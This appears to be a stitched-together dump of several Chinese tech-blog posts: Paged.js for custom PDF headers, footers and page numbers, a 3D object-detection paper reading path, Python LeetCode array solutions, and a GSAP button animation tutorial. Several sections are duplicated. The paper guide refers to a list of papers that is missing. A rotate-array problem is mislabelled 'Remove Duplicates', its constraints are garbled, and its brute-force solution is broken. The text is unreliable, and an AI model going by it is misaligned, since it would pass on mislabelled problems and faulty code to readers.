上面的這些做法,頁碼就是靠著列印時勾選瀏覽器預設的頁碼,然後標題就是網頁的標題或是網址,這些樣式我該怎麼客製化?例如說我想把頁碼換位置,做得到嗎?
後來我在網路上搜尋過一輪,發現這些似乎不是原生 CSS 可以解決的狀況。於是我把方向轉成:「先用 HTML 印出沒有頁碼的 PDF,再從後端加工處理」。因為已經有 PDF 了,所以自然而然也可以知道有幾頁,那就可以用開頭說的 PDFKit 或是其他 library 加上去了。意思就是先轉成 PDF,再加工,需要有兩道程序。
我還找到了一套 WeasyPrint,看起來好像也可以自訂頁首頁尾跟頁碼,不過依然不是理想中的解決方案。
正當我開始覺得:「這些只用前端網頁的話好像做不到」的時候,救星出現了。
Paged.js 對自己的介紹是:
Paged.js is a free and open source JavaScript library that paginates content in the browser to create PDF output from any HTML content. This means you can design works for print (eg. books) using HTML and CSS!
Paged.js follows the Paged Media standards published by the W3C (ie the Paged Media Module, and the Generated Content for Paged Media Module). In effect Paged.js acts as a polyfill for the CSS modules to print content using features that are not yet natively supported by browsers.
簡單來說呢,Paged.js 是一個開源的 JavaScript library,用來幫助你列印出 PDF。而嚴格來說它其實有很多的部分是 polyfill。事實上,W3C 已經有一些負責列印相關的 CSS 屬性,可是還處於草稿的階段,因此瀏覽器也還沒實作,所以需要靠著 Paged.js 來 polyfill。
先給大家看一下用 Paged.js 可以做到的成果是什麼:
如果想要學習 Paged.js 的使用,我非常推薦去看官方文件,因為功能都寫在上面了,這篇文章只是想讓大家知道一下有這個解法,因此不會講得太多。底下就簡單講一下我想要的每個功能是怎麼實作出來的。
這些功能其實用圖片跟文字有點難解釋,因為我建議稍微看過之後,直接去看上面附的 demo 網站的 source code,我覺得會比較容易理解。
原生的 CSS 好像只能統一對頁面調整,但是 Paged.js 支援針對各種頁面,比如說:
@page {
size: A4;
margin-top: 20mm;
margin-bottom: 20mm;
margin-left: 20mm;
margin-right: 20mm;
padding-top: 2rem;
}
@page:nth(1) {
padding-top: 0;
}
我先針對所有頁面統一調整 margin 跟 padding,但是對第一頁取消 padding-top,因為第一頁是封面所以不需要 padding。
如果不想用頁數來做 selector,也可以直接幫頁面取名,像是這樣:
<div class="page-cover">
...
</div>
.page-cover {
page: coverPage;
}
@page coverPage {
padding-top: 0;
}
這樣做的話,就可以針對特定類型的頁面去做頁面樣式的控制。
Paged.js 會自動幫你把內容分頁,然後幫你把每一頁都加上預設的排版與 CSS 等等,而經過改造後的每一頁都會長這樣(圖片取自於官網):
Page area 是你的內容,而其他地方都是區塊的名稱,你可以用 CSS 來決定這些區塊要放什麼,舉例來說:
@page {
@top-center {
content: "hello";
}
}
這樣寫的話,在每個頁面的中間上方都會出現:hello
這個字。
因此可以透過這樣子的 CSS,非常輕易就達成自訂頁首以及頁尾這個功能。不過這只是最基本的而已,精彩的還在後面。
很多時候只有文字是不夠的,我們還想要加一些樣式,或甚至是圖片。再者,每一頁的頁首跟頁尾都有可能不同,有可能這一頁的標題我想叫做 A,下一頁叫做 B,這樣怎麼辦呢?
在 Paged.js 裡面有個概念叫做:running headers/footers,可以利用這個概念來達成動態的頁首以及頁尾。
剛剛的 CSS 本來 content 都會是固定的,現在可以改一下:
@page {
@top-center {
content: element(title);
}
}
這樣寫的話,中間的內容就會是叫做 title 的 element。那這個 element 又是什麼呢?一樣用 CSS 指定即可:
.title {
position: running(title);
color: white;
font-size: 1.25rem;
}
這邊有個大家應該沒看過的 position 值,叫做 running(title)
,意思就是要把 .title
這個元素設定成 running title,對應到了剛剛的 element(title)
。
因此只要把每一頁的 title 都放在 HTML 裡面,就會自動去抓它的內容,然後放在你想放置的位置。
<div class="page">
<div class="title">這是第一頁標題</div>
第一頁內容
</div>
<div class="page">
<div class="title">這是第二頁標題</div>
第二頁內容
</div>
上面的那兩個 title class 的 div,就不會出現在文件的內容中,而是會被拉到 top center 那個位置。而 title 的內容也會隨著頁面而變,是個超級方便的功能!
範例中的頁尾則是這樣做的:
@page {
@bottom-left {
content: element(footer);
}
}
.footer {
position: running(footer);
font-size: 1rem;
color: #999;
border-top: 2px solid #ccc;
}
<div class="footer">
<p>本文件僅供教學使用,請勿用於商業之用途</p>
</div>
除了內容可以客製以外,那幾格的樣式也可以。例如說範例中我把整個 header 的背景顏色都變了,因為這幾個格子其實都有預設的 class,因此可以透過 CSS 來做:
.pagedjs_page:not([data-page-number="1"]) .pagedjs_margin-top-left-corner-holder,
.pagedjs_page:not([data-page-number="1"]) .pagedjs_margin-top,
.pagedjs_page:not([data-page-number="1"]) .pagedjs_margin-top-right-corner-holder {
background: #658db4;
outline: 2px #658db4;
}
這邊前面會加上 .pagedjs_page:not([data-page-number="1"])
是因為第一頁我不想動到,所以用這個 selector 排除了第一頁。而那個 outline 是因為我發現有時候好像 header 會有一條白色,猜測可能是 render 的問題,所以想說看能不能硬把它蓋掉:
關於頁碼的部分,Paged.js 提供了兩個 CSS counter 可以使用:counter(page)
與 counter(pages)
。
如果想跟範例一樣在右上角加上頁數,就可以這樣寫:
@page {
@top-right {
color: white;
content: "第 " counter(page) " 頁,共 " counter(pages) " 頁";
}
}
這樣就可以做到在任意地方加上頁碼了!而且可以自訂格式,如果要調整樣式的話也可以直接調整。
其實有關於 table head 會自動延續這個功能,使用原生的 HTML table 標籤時就有了。只是 Paged.js 可能處理上有一些問題,所以這功能就不見了。
但要加回來也不難,我有找到一段簡單的程式碼可以解掉這個問題,來源:Repeat table header on subsequent pages
<script>
// @see: https://gitlab.pagedmedia.org/tools/pagedjs/issues/84#note_535
class RepeatingTableHeaders extends Paged.Handler {
constructor(chunker, polisher, caller) {
super(chunker, polisher, caller);
}
afterPageLayout(pageElement, page, breakToken, chunker) {
// Find all split table elements
let tables = pageElement.querySelectorAll("table[data-split-from]");
tables.forEach((table) => {
// Get the reference UUID of the node
let ref = table.dataset.ref;
// Find the node in the original source
let sourceTable = chunker.source.querySelector("[data-ref='" + ref + "']");
// Find if there is a header
let header = sourceTable.querySelector("thead");
if (header) {
// Clone the header element
let clonedHeader = header.cloneNode(true);
// Insert the header at the start of the split table
table.insertBefore(clonedHeader, table.firstChild);
}
});
}
}
Paged.registerHandlers(RepeatingTableHeaders);
</script>
HTML 的部分記得用 table 來做就好,像這樣:
<table>
<thead>
<tr>
<th>網址</th>
<th>文章名稱</th>
<th>瀏覽次數</th>
<th>跳出率</th>
</tr>
</thead>
<tbody>
<tr>
<td>blog.huli.tw</td>
<td>CORS 完全手冊(一):為什麼會發生 CORS 錯誤?</td>
<td>34532</td>
<td>52.3%</td>
</tr>
</tbody>
</table>
以上幾個示範程式碼都滿短的,而且大多數都是 CSS,用這套之前還真的沒想過可以透過 CSS 來調整這麼多東西。
我自己用過 Paged.js 這套以後十分滿意,是我目前認為純前端做 HTML 轉 PDF 版型的最佳方案,原因之一就是我前面說的,除了它之外,我沒有找到其它套件可以支援自訂頁首頁尾以及頁碼等等。這套用起來真的很驚艷,因為我想解決的需求,它都有提供解決方案,而且用起來其實還滿好用的。
唯一美中不足的地方大概就是上面有些截圖會看到的那個大概 1px 的白線,我猜應該是瀏覽器 render 的時候有一些問題之類的,或搞不好也跟 PDF viewer 什麼的有關。但那個如果真的想蓋掉應該不是難事,最麻煩頂多就是硬畫一條線上去蓋住。
我自己需要的功能都放在範例裡面了,想看完整範例程式碼的話我放在這邊:https://github.com/aszx87410/demo/blob/master/print/print.html
想要其他更多功能的話,可以參考 Paged.js 的文件跟官網:https://www.pagedjs.org/
這篇推薦給所有跟我有類似需求的人,希望 Paged.js 也可以解決你們的問題。或如果你有知道哪些純前端的套件比 Paged.js 更好用的,也可以推薦給我。
]]>要追上一個研究領域的 SOTA(state-of-the-art),最快的方法就是直接去看最新的 paper。但問題是,最新的 paper 往往很難一次看懂,因為裡面常常會有,這個部分我們用到 paper A[1]、那個部分我們用到 paper B[2] 等等,然後就一句話帶過,而沒看過 paper A 跟 paper B 的你,當然就很難理解最新 paper 的細節。為了能通達最新 paper,勢必要往回追,弄懂以前的 paper。
這篇文章就是因此目的而生,盡可能地把要追上 Deep Learning on 3D object detection(這篇主要討論只從 lidar point cloud,得到物體的 3D bounding box)SOTA 的文章整理出來。本著能省時間就省的精神,我只列出比較具代表性的 work(前面也順便附上 paper 的年月份,讓大家比較容易比較時間序),有時候同時期的 work 可能有好幾篇,但可能只要看一篇,就能大概抓到那個時期主要的方法長怎樣(當然還是可能有遺漏,不過歡迎各位讀者自己再去多閱讀,如果你覺得有些文章一定要補,但我沒寫,也歡迎留言補充)。
這篇文章假設你有很多基礎是懂的,例如 CNN、RPN、Batch Normalization 等等,如果你不懂,可以自己再去搜尋一些資源來學習。另外,我下面的分類是用 Lidar + Image 跟 Lidar 來分,所以年份並不是完全從舊到新,而且我覺得根據個人喜好來閱讀也很重要,未必要從舊的看到新的,你在閱讀這些 paper 時,可以自己斟酌閱讀順序,最後有覺得把研究脈絡搞懂就行了。
關於這兩篇 paper 稍微更深入的介紹,可以參考延伸閱讀二。
如果你已經把以上的 paper 都看完了,讚喔!雖然有點累,但你即將進到下一個階段!
順帶提一下,上面的很多 paper,未必所有的細節都要覺得很懂,畢竟沒有實作,要說完全懂我是覺得很難,但沒關係,很多細節如果你未來有需要,可以再回來看。這邊的重點是懂這些方法懂到你能理解發展脈絡、了解各 paper 方法的優缺點。
恭喜恭喜!看完上面那些 paper,想必你應該已經對這個領域常用的技巧和演進有些熟悉,這時來看一些最新的 work 就相當有趣啦!
這篇文章集合了 Deep Learning on 3D object detection 的一些 seminal work,總結了他們的特點跟演進過程,有興趣的讀者可以跟隨這條 paper reading path 追上 SOTA, 然後從這邊開始擴展你的知識體系。我推薦大家利用 connectedpapers.com,只要輸入一篇 paper,就能看到相關重要 paper 的視覺化呈現,大推。下面是一個範例:
要追上一個研究領域的 SOTA(state-of-the-art),最快的方法就是直接去看最新的 paper。但問題是,最新的 paper 往往很難一次看懂,因為裡面常常會有,這個部分我們用到 paper A[1]、那個部分我們用到 paper B[2] 等等,然後就一句話帶過,而沒看過 paper A 跟 paper B 的你,當然就很難理解最新 paper 的細節。為了能通達最新 paper,勢必要往回追,弄懂以前的 paper。
這篇文章就是因此目的而生,盡可能地把要追上 Deep Learning on 3D object detection(這篇主要討論只從 lidar point cloud,得到物體的 3D bounding box)SOTA 的文章整理出來。本著能省時間就省的精神,我只列出比較具代表性的 work(前面也順便附上 paper 的年月份,讓大家比較容易比較時間序),有時候同時期的 work 可能有好幾篇,但可能只要看一篇,就能大概抓到那個時期主要的方法長怎樣(當然還是可能有遺漏,不過歡迎各位讀者自己再去多閱讀,如果你覺得有些文章一定要補,但我沒寫,也歡迎留言補充)。
這篇文章假設你有很多基礎是懂的,例如 CNN、RPN、Batch Normalization 等等,如果你不懂,可以自己再去搜尋一些資源來學習。另外,我下面的分類是用 Lidar + Image 跟 Lidar 來分,所以年份並不是完全從舊到新,而且我覺得根據個人喜好來閱讀也很重要,未必要從舊的看到新的,你在閱讀這些 paper 時,可以自己斟酌閱讀順序,最後有覺得把研究脈絡搞懂就行了。
關於這兩篇 paper 稍微更深入的介紹,可以參考延伸閱讀二。
如果你已經把以上的 paper 都看完了,讚喔!雖然有點累,但你即將進到下一個階段!
順帶提一下,上面的很多 paper,未必所有的細節都要覺得很懂,畢竟沒有實作,要說完全懂我是覺得很難,但沒關係,很多細節如果你未來有需要,可以再回來看。這邊的重點是懂這些方法懂到你能理解發展脈絡、了解各 paper 方法的優缺點。
恭喜恭喜!看完上面那些 paper,想必你應該已經對這個領域常用的技巧和演進有些熟悉,這時來看一些最新的 work 就相當有趣啦!
這篇文章集合了 Deep Learning on 3D object detection 的一些 seminal work,總結了他們的特點跟演進過程,有興趣的讀者可以跟隨這條 paper reading path 追上 SOTA, 然後從這邊開始擴展你的知識體系。我推薦大家利用 connectedpapers.com,只要輸入一篇 paper,就能看到相關重要 paper 的視覺化呈現,大推。下面是一個範例:
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Remove Duplicates from Sorted Array
Given an array, rotate the array to the right by k steps, where k
is non-negative.
Example 1:
Input: nums = [1,2,3,4,5,6,7], k = 3
Output: [5,6,7,1,2,3,4]
Explanation:
rotate 1 steps to the right: [7,1,2,3,4,5,6]
rotate 2 steps to the right: [6,7,1,2,3,4,5]
rotate 3 steps to the right: [5,6,7,1,2,3,4]
Example 2:
Input: nums = [-1,-100,3,99], k = 2
Output: [3,99,-1,-100]
Explanation:
rotate 1 steps to the right: [99,-1,-100,3]
rotate 2 steps to the right: [3,99,-1,-100]
Constraints:
1 <= nums.length <= 105
-231 <= nums[i] <= 231 - 1
0 <= k <= 105
Follow up:
Try to come up with as many solutions as you can. There are at least three different ways to solve this problem.
Could you do it in-place with O(1)
extra space?
本題考驗主要希望將陣列移動 k 個位置,盡可能思考多種解決方案,而空間複雜度盡量可以使用 O(1)
方式進行。
Solution
參考方法一:反轉串列法
由於 Python 在反轉串列上十分方便,且追加元素於最後比起平移整個串列更方便。先翻轉串列並將 k 數量的首值 pop
出來,append
到串列的尾端,最後再將串列反轉。
# Input [1,2,3,4,5,6,7]
# k = 3
[7, 6, 5, 4, 3, 2, 1]
[6, 5, 4, 3, 2, 1, 7]
[5, 4, 3, 2, 1, 7, 6]
[4, 3, 2, 1, 7, 6, 5]
[5, 6, 7, 1, 2, 3, 4]
範例程式碼:
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
# 若長度小於 2 則不用移動
if len(nums) < 2:
return nums
# 避免 k 大於 nums 長度,若大於代表移動一輪,故取餘數
k = k % len(nums)
# 由於正方向整個串列往後移動較困難,將串列反轉比較方便
nums.reverse()
for _ in range(k):
# 將翻轉後的串列 index 0 值取出放到最後面(移動位置)
rotate_item = nums.pop(0)
nums.append(rotate_item)
nums.reverse()
return nums
參考方法二:區塊移動法
主要透過將需移動位置的區塊整塊移動到前面,其餘整塊往後移動來取得移動後結果。
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
if len(nums) < 2:
return nums
# 避免 k 大於 nums 長度,若大於代表移動一輪,故取餘數
k = k % len(nums)
num_length = len(nums)
# 移動 k 位置的區塊
move_nums = nums[num_length - k:]
# 其餘往後移動
nums[k:] = nums[:num_length - k]
# 將移動 k 位置的區塊放到最前面
nums[:k] = move_nums
return nums
另外,注意的是若要使用迴圈逐一移動位置的暴力法雖然簡單直觀,但有可能因為輸入過大會造成所花的時間過長。
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
if len(nums) < 2:
return nums
k = k % len(nums)
for _ in range(k):
# 將最後的值取出
rotate_item = nums.pop()
# 將首個位置以後的值往後移動
nums[1:] = nums[:]
# 將首值更改為最後的值
nums[0] = rotate_item
return nums
Problem: Contains Duplicate
Given an integer array nums, return true
if any value appears at least twice in the array, and return false
if every element is distinct.
Example 1:
Input: nums = [1,2,3,1]
Output: true
Example 2:
Input: nums = [1,2,3,4]
Output: false
Example 3:
Input: nums = [1,1,1,3,3,4,3,2,4,2]
Output: true
Constraints:
1 <= nums.length <= 105
-109 <= nums[i] <= 109
本題為給定一個整數陣列,判斷是否存在重複字串,若有則回傳 True
,若每個數字都不重複則回傳 False
。
Solution
參考方法一:排序後比較法
透過將串列先排序後可以比較若相鄰的元素相同代表有重複元素。
class Solution:
def containsDuplicate(self, nums: List[int]) -> bool:
# 先行排序
nums.sort()
# 比較相鄰元素是否相同
for index in range(len(nums) - 1):
if nums[index] == nums[index + 1]:
return True
return False
參考方法二:集合長度比較法
在 Python 中若取集合後的長度和原來串列長度相同則代表沒有重複值。
class Solution:
def containsDuplicate(self, nums: List[int]) -> bool:
if len(set(nums)) == len(nums):
return False
else:
return True
另外,同樣要注意的是若要使用迴圈逐一移動位置的暴力法雖然簡單直觀,但有可能因為輸入過大會造成所花的時間過長。
class Solution:
def containsDuplicate(self, nums: List[int]) -> bool:
for index, item in enumerate(nums):
if item in nums[index + 1:]:
return True
return False
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Remove Duplicates from Sorted Array
Given an array, rotate the array to the right by k steps, where k
is non-negative.
Example 1:
Input: nums = [1,2,3,4,5,6,7], k = 3
Output: [5,6,7,1,2,3,4]
Explanation:
rotate 1 steps to the right: [7,1,2,3,4,5,6]
rotate 2 steps to the right: [6,7,1,2,3,4,5]
rotate 3 steps to the right: [5,6,7,1,2,3,4]
Example 2:
Input: nums = [-1,-100,3,99], k = 2
Output: [3,99,-1,-100]
Explanation:
rotate 1 steps to the right: [99,-1,-100,3]
rotate 2 steps to the right: [3,99,-1,-100]
Constraints:
1 <= nums.length <= 105
-231 <= nums[i] <= 231 - 1
0 <= k <= 105
Follow up:
Try to come up with as many solutions as you can. There are at least three different ways to solve this problem.
Could you do it in-place with O(1)
extra space?
本題考驗主要希望將陣列移動 k 個位置,盡可能思考多種解決方案,而空間複雜度盡量可以使用 O(1)
方式進行。
Solution
參考方法一:反轉串列法
由於 Python 在反轉串列上十分方便,且追加元素於最後比起平移整個串列更方便。先翻轉串列並將 k 數量的首值 pop
出來,append
到串列的尾端,最後再將串列反轉。
# Input [1,2,3,4,5,6,7]
# k = 3
[7, 6, 5, 4, 3, 2, 1]
[6, 5, 4, 3, 2, 1, 7]
[5, 4, 3, 2, 1, 7, 6]
[4, 3, 2, 1, 7, 6, 5]
[5, 6, 7, 1, 2, 3, 4]
範例程式碼:
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
# 若長度小於 2 則不用移動
if len(nums) < 2:
return nums
# 避免 k 大於 nums 長度,若大於代表移動一輪,故取餘數
k = k % len(nums)
# 由於正方向整個串列往後移動較困難,將串列反轉比較方便
nums.reverse()
for _ in range(k):
# 將翻轉後的串列 index 0 值取出放到最後面(移動位置)
rotate_item = nums.pop(0)
nums.append(rotate_item)
nums.reverse()
return nums
參考方法二:區塊移動法
主要透過將需移動位置的區塊整塊移動到前面,其餘整塊往後移動來取得移動後結果。
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
if len(nums) < 2:
return nums
# 避免 k 大於 nums 長度,若大於代表移動一輪,故取餘數
k = k % len(nums)
num_length = len(nums)
# 移動 k 位置的區塊
move_nums = nums[num_length - k:]
# 其餘往後移動
nums[k:] = nums[:num_length - k]
# 將移動 k 位置的區塊放到最前面
nums[:k] = move_nums
return nums
另外,注意的是若要使用迴圈逐一移動位置的暴力法雖然簡單直觀,但有可能因為輸入過大會造成所花的時間過長。
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
if len(nums) < 2:
return nums
k = k % len(nums)
for _ in range(k):
# 將最後的值取出
rotate_item = nums.pop()
# 將首個位置以後的值往後移動
nums[1:] = nums[:]
# 將首值更改為最後的值
nums[0] = rotate_item
return nums
Problem: Contains Duplicate
Given an integer array nums, return true
if any value appears at least twice in the array, and return false
if every element is distinct.
Example 1:
Input: nums = [1,2,3,1]
Output: true
Example 2:
Input: nums = [1,2,3,4]
Output: false
Example 3:
Input: nums = [1,1,1,3,3,4,3,2,4,2]
Output: true
Constraints:
1 <= nums.length <= 105
-109 <= nums[i] <= 109
本題為給定一個整數陣列,判斷是否存在重複字串,若有則回傳 True
,若每個數字都不重複則回傳 False
。
Solution
參考方法一:排序後比較法
透過將串列先排序後可以比較若相鄰的元素相同代表有重複元素。
class Solution:
def containsDuplicate(self, nums: List[int]) -> bool:
# 先行排序
nums.sort()
# 比較相鄰元素是否相同
for index in range(len(nums) - 1):
if nums[index] == nums[index + 1]:
return True
return False
參考方法二:集合長度比較法
在 Python 中若取集合後的長度和原來串列長度相同則代表沒有重複值。
class Solution:
def containsDuplicate(self, nums: List[int]) -> bool:
if len(set(nums)) == len(nums):
return False
else:
return True
另外,同樣要注意的是若要使用迴圈逐一移動位置的暴力法雖然簡單直觀,但有可能因為輸入過大會造成所花的時間過長。
class Solution:
def containsDuplicate(self, nums: List[int]) -> bool:
for index, item in enumerate(nums):
if item in nums[index + 1:]:
return True
return False
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
疫情升溫,待在家裡救人救己,除了打電動玩健身環外,也是個好機會來培養培養自己的美術能力,然而平常工作沒什麼機會製作動畫的我,即便有了時間,也不知道要從何下手,上了 Dribbble、CodePen 找靈感,的確看到很多有趣的作品,但是大多都很複雜,不像是一個週末午後的休閒良品,例如,Ben Evans 的這個作品:
See the Pen Pure CSS Landscape - An Evening in Southwold by Ben Evans (@ivorjetski) on CodePen.
這張像是照片一樣的圖片,你能想像是單純用 CSS 製作的嗎?作者有放上他製作這作品的縮時影片(影片的音樂還是他自己做的,真有才華),雖然不知道總共花了多少時間,但以他的另一個同樣驚人且至少花費一百小時的作品推斷,時數少不到哪去的。
我知道很多人會覺得,『對呀很酷,但為什麼?』。
我也不懂為什麼,但知道能利用 CSS 做出這種極限真的很令人感到興奮。光是觀察他的程式碼就可以學到不少技巧,像是:
即便是用 CSS 繪圖,相信大部分的人也都是用普通的 div
、span
來組裝圖案,但如果你打開剛剛那範例的 HTML,會看到這樣的結構:
<landscape>
<sky>
<x>
<x></x>
<x></x>
</x>
<x>
<x></x>
<x></x>
...</x
></sky
></landscape
>
全都是 custom element,以為是他自製的 web component 但他又沒有對應的 Javascript?🤔
其實現今瀏覽器對這種 invalid 的 HTML tag 容忍度很高,只要有給定 CSS,瀏覽器還是能正常渲染出來。實際專案上當然不建議這樣做,但在製作 CSS 繪圖或藝術動畫這類通常擁有複雜 HTML 結構的作品上時,就能讓程式碼看起來簡潔許多,等同於讓 tag name 取代 class name。
我們都知道 rem
會隨著 root element 的 font-size 自動調整大小,所以若是我們也能動態調整 root element 的大小,並用 rem
來設定所有元素的 size,那就能讓頁面輕鬆 responsive。要做到這點可以利用 vmin
:
html {
font-size: 1vmin;
}
vmin
對應 viewport 的短邊,意即螢幕縮小時,該值也會隨之變小,這樣就能達到我們要的效果。
其實還有其他技巧,但已經扯夠遠了😅。
雖然試著理解高手如何做到是能吸收不少經驗,但還是會想要自己動手做點什麼,好在我又發現了另一個稍微平易近人的高手 - Aaron Iker,他大多的作品都圍繞在一個網頁上不可缺乏,但鮮少被人拿來做文章的元件 - "按鈕"上。
按鈕,幾乎所有網頁都會用到它,但就是拿來觸發一些動作,被觸發的動作才是我們在意的,很少會在上頭多作著墨,頂多加個 Hover 變色或位移就很差不多了。
但看看下面這個實例:
一點小巧思,瞬間就讓按鈕活了起來。
而且因為範圍限縮在了按鈕的大小,就算動畫稍微華麗一些也不會對整體頁面造成太多干擾。
受到 Aaron 啟發,趁著空閒時間我也試著做了一個按鈕動畫,今天這篇文章就分享一下過程中使用到的工具與眉角!
這次的按鈕動畫主要修改自 Dribbble 上 YorKun 的作品 - Button Lock Animation,感謝作者還有附上 Figma 檔案,讓我能更輕鬆的參照 Style。
不過我並沒有完全照著原作的動畫製作,主要是想多試試一些不同的動畫組合,接下來我會一一介紹。
我一開始想達到的動畫有四項:
理論上應該是很快就能完成,但因為對 GSAP 不熟,花了些冤枉路,導致最後只完成了前三項的效果,算是差強人意。
用到的工具主要是 GSAP 與 GSAP 的 Draggable plugin
GSAP 的 Draggable plugin 真的有夠簡單好用,只要給定想要啟動 Draggable 的 DOM 物件,並指定要拖拉的方向(type)與範圍(bounds),就能瞬間完成這樣的效果(demo 由此去):
// 註冊 gsap 的 draggable plugin
gsap.registerPlugin(Draggable);
// 把需要互動的 DOM 用 querySelector 選出來
const button = document.querySelector(".unlock-btn");
const lockerArea = button.querySelector(".locker");
const dropArea = button.querySelector(".drop");
// 主要的 Draggable instance
Draggable.create(lockerArea, {
type: "x",
bounds: button,
onDrag(e) {},
onRelease(e) {
if (!this.hitTest(dropArea)) {
gsap.to(lockerArea, {
x: 0,
duration: 0.6,
ease: "elastic.out(1, .75)"
});
} else {
// this.disable();
gsap.to(lockerArea, {
x: dropArea.offsetLeft - 9,
duration: 0.6,
ease: "elastic.out(1, .8)",
onUpdate(e) {
tl.restart();
}
});
}
}
});
中間可以看到,我們指定 type
為 x
,表示移動方向為 x 軸,而 bounds
為 button
DOM 物件,所以最多不會拖移超過 butotn 的範圍。
另外,影片中有一個效果是當你拖拉到前後兩端點的時候,會有一個吸力把拖移中的物件吸過去,這段其實是需要靠額外的兩個動畫效果來達成。
Draggable.create()
可以傳入的 Option 中,能指定 onDrag
與 onRelease
handler,在 onRelease
的時候我們可以透過 this.hitTest(dropArea)
這個 Draggable 內建的函式判斷拖拉中的物件是否觸碰到另一個指定的 DOM 物件,若還沒碰到,我們就拉回到起點,也就是這段所做的事:
gsap.to(lockerArea, {
x: 0,
duration: 0.6,
ease: "elastic.out(1, .75)"
});
透過 gsap.to
可以讓指定的 DOM 物件變換到我們傳入的 property 狀態,以此例子來說就是位移到原點,等同於 apply transform:translateX(0)
。
而若觸碰到指定物件,則可以調整 x
來將拖移物件直接拉到指定物件,這樣就能製造出吸力的效果。
此外,在觸碰到物件後的 gsap.to
函式中,我們也傳入了 onUpdate
handler,該 handler 會在動畫完成後被觸發,剛好讓我們能接著下一階段的動畫 - 鎖頭開啟與掉落。
當拖移物件觸碰到指定物件時,onUpdate
會被觸發:
onUpdate(e) {
tl.restart();
}
onUpdate
中我們放的是一個 Timeline
物件,它能讓我們進行序列動畫,一步步指定各個物件該如何依序執行動畫。
由於我是將整個 timeline 動畫定義在別處,所以當 onUpdate
被觸發時是呼叫 tl.restart()
,你也可以直接定義在 handler 裡面。
Timeline 使用方法一樣簡單:
let tl = gsap.timeline({ paused: true }); //create the timeline
先創建一個 timeline 物件,這邊傳入 { paused: true }
是因為我希望在之後才觸發他(上述所說,在拖移物件移動到指定區域後才觸發),所以先預設讓他暫停,這樣我們在 onUpdate
時再呼叫 restart()
即可。
題外話,一開始我並不是用 Timeline 而是在每個 gsap.to
的 onUpdate
中去呼叫另一個 gsap.to
,這樣雖然也是可行,但讓程式碼可讀性降低很多,最終我才改成用 Timeline 來串接序列動畫。
接著就是針對每個我們想要觸發動畫的 DOM 物件設定欲變化的值:
先讓整個鎖頭的身體部分往下位移,讓上面鐵環部分保持原地,造出開鎖的效果。
tl.to(lockerBody, {
y: "120%",
duration: 0.2
})
接著利用 keyframes
針對單一物件進行一連串較為細緻的動畫,這邊主要是要將整個鎖頭(包含身體與鐵環部分)進行位移與旋轉,營造出鎖頭打開並從鎖上拿掉的動畫:
tl.to(lockerBody, { /*...略*/ })
.to(locker, {
keyframes: [
{
rotation: -45,
x: -8,
transformOrigin: "center",
duration: 0.2
},
{
x: -15,
y: -1,
duration: 0.2
},
{
x: -30,
y: 10,
duration: 0.2
},
{
y: 100,
opacity: 0,
duration: 0.2
}
]
})
接著也是差不多的步驟,一步步對其他的 DOM 物件加上最後的 - 對應開鎖狀態的動畫,替換掉 UNLOCK 字樣:
tl.to(lockerBody, { /*...略*/ })
.to(locker, { /*...略*/ })
.to(lockerArea, {
rotation: -90,
duration: 0.3
})
.to(".message,.drop,.locker-area", {
y: 30,
opacity: 0,
duration: 0.1
})
.fromTo(
".read-ok, .unlock-msg",
{
y: -30,
opacity: 0
},
{
opacity: 1,
y: 0,
duration: 0.2
}
);
注意到的是我們除了傳入 DOM object 給 gsap.to
與 gsap.fromTo
外,也能直接指定 class name,非常方便。
就這樣簡單幾行程式碼,就做好了一個套用在按鈕上的動畫,應該還算是不錯吧!
See the Pen Drag to unlock button with locker (final ver.) by Arvin (@arvin0731) on CodePen.
今天簡單練習了一下從 Dribbble 上找靈感然後用前端技術將動畫實作出來的過程,或許沒有什麼新的東西,但希望能給大家帶來點啟發,防疫期間不妨在家做點有趣的動畫或 CSS art,自娛娛人一下!
